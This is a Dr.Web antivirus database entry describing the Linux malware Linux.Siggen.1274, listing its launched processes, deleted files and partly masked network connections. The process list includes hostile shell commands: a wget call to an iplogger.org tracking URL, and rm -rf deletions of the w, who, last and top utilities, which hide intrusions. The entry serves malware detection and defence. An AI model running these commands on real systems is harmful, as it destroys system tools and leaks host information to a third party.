JavaScript support is required for our site to be fully operational in your browser.
Linux.Siggen.1274
Added to the Dr.Web virus database:
2018-12-02
Virus description added:
2018-12-02
Technical Information
Malicious functions:
Removes the following system files:
Launches processes:
/bin/sh <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
<SAMPLE_FULL_PATH>
/bin/sh <SAMPLE_FULL_PATH> -c
id -u
ip addr show
grep inet
grep -v 127.0.0.
head -1
cut -d -f6
cut -d/ -f1
clear
wget -q https://iplogger.org/2v6SE5
rm -rf 2v6SE5
rm -rf /usr/bin/w
rm -rf /usr/bin/who
rm -rf /usr/bin/last
rm -rf /usr/bin/top
Performs operations with the file system:
Creates or modifies files:
Deletes files:
/var/opt/2v6SE5
/usr/bin/who
/usr/bin/last
/usr/bin/top
Network activity:
Establishes connection:
<LOCAL_DNS_SERVER>
88.##.66.31:443
10#.#4.126.12:0
10#.#4.127.12:0
10#.##.126.12:443
DNS ASK:
ip###ger.org
ch###-host.net
Sends data to the following servers:
88.##.66.31:443
10#.##.126.12:443
Receives data from the following servers:
88.##.66.31:443
10#.##.126.12:443
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
Download Dr.Web for Android
Free three-month trial
All protection features available
Renew your trial license in AppGallery/on Google Pay
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK